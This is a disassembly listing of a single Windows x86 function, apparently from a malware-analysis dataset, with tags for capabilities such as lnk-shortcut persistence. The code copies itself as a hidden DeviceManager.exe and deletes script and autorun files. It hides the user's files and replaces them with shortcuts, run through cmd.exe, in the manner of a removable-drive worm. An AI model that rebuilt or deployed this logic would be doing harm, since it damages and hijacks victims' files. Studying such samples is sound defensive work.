Function at 0x401494
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14a8
call fcn.00402bd0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
mov esi, 0x208
push esi
xor edi, edi
lea eax, [ebp - 0x14a4]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x66c]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xe8c]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x129c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x40
push esi
lea eax, [ebp - 0x1094]
push edi
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 8]
push ebx
push str._ls
lea eax, [ebp - 0x14a4]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push dword [ebp + 0xc]
lea eax, [ebp - 0x66c]
push ebx
push str._ls_s.lnk
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push dword [ebp + 0xc]
lea eax, [ebp - 0x129c]
push str._ls.lnk
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x40
push ebx
push str._ls_
lea eax, [ebp - 0xc84]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push ebx
push str._ls_DeviceManager.exe
lea eax, [ebp - 0xe8c]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push ebx
push str._ls_DeviceConfigManager.exe
lea eax, [ebp - 0x1094]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x30
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x1094]
push eax
call ebx
test eax, eax
je 0x4015da
push 0x80
lea eax, [ebp - 0x1094]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x1094]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x66c]
push eax
call ebx
test eax, eax
je 0x4015da
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x66c]
push eax
call ebx
test eax, eax
jne 0x401618
cmp byte [ebp + 0x10], 1
lea eax, [ebp - 0x66c]
jne 0x4015f7
push 9
jmp 0x4015f9
push 8
push eax
call fcn.004013b0
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xc84]
push eax
call ebx
test eax, eax
jne 0x401646
push edi
lea eax, [ebp - 0xc84]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x401646
push 7
lea eax, [ebp - 0xc84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xe8c]
push eax
call ebx
test eax, eax
jne 0x401675
push edi
lea eax, [ebp - 0xe8c]
push eax
push 0x405050
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 7
lea eax, [ebp - 0xe8c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x14a4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x401698
xor eax, eax
jmp 0x401abf
lea eax, [ebp - 0x230]
push str..lnk
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x4016ee
lea ecx, [ebp - 0x129c]
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4016e1
cmp dx, di
je 0x4016dd
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4016e1
add eax, 4
add ecx, 4
cmp dx, di
jne 0x4016bb
xor eax, eax
jmp 0x4016e6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x401822
mov ecx, str.autorun.inf
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40171f
cmp dx, di
je 0x40171b
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40171f
add eax, 4
add ecx, 4
cmp dx, di
jne 0x4016f9
xor eax, eax
jmp 0x401724
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401822
lea eax, [ebp - 0x230]
push str..vbs
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..bat
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push 0x4035a0
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..scr
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..com
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..jse
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..cmd
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..pif
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..jar
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401822
lea eax, [ebp - 0x230]
push str..dll
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x40186e
push esi
lea eax, [ebp - 0x464]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push str._ls_s
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x20
push 0x80
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xc84]
push eax
call ebx
test eax, eax
je 0x401a9b
mov ecx, str..lnk
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4018b0
cmp dx, di
je 0x4018ac
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4018b0
add eax, 4
add ecx, 4
cmp dx, di
jne 0x40188a
xor eax, eax
jmp 0x4018b5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401a9b
lea ecx, [ebp - 0x129c]
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4018ef
cmp dx, di
je 0x4018eb
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4018ef
add eax, 4
add ecx, 4
cmp dx, di
jne 0x4018c9
xor eax, eax
jmp 0x4018f4
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401a9b
mov ecx, 0x40360c
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40192d
cmp dx, di
je 0x401929
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40192d
add eax, 4
add ecx, 4
cmp dx, di
jne 0x401907
xor eax, eax
jmp 0x401932
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401a9b
push esi
lea eax, [ebp - 0x874]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x464]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x874]
push str._ls_s
push esi
push eax
call sub.MSVCRT.dll__snwprintf
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push 0x403610
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x40
push 0x80
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x464]
push eax
call ebx
test eax, eax
je 0x401a54
lea eax, [ebp - 0x874]
push eax
call ebx
test eax, eax
je 0x401a54
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0x10
jne 0x401a47
lea eax, [ebp - 0x464]
push 0x403624
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a54
lea eax, [ebp - 0x464]
push 0x40362c
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a54
push esi
lea eax, [ebp - 0xa7c]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x874]
push eax
push 0x403630
lea eax, [ebp - 0xa7c]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x1c
push edi
push edi
lea eax, [ebp - 0xa7c]
push eax
push str.cmd.exe
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x401a54
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
lea eax, [ebp - 0xa7c]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x874]
push eax
push str._c_move__y___ls_____ls_
lea eax, [ebp - 0xa7c]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x20
push edi
push edi
lea eax, [ebp - 0xa7c]
push eax
push str.cmd.exe
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401698
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret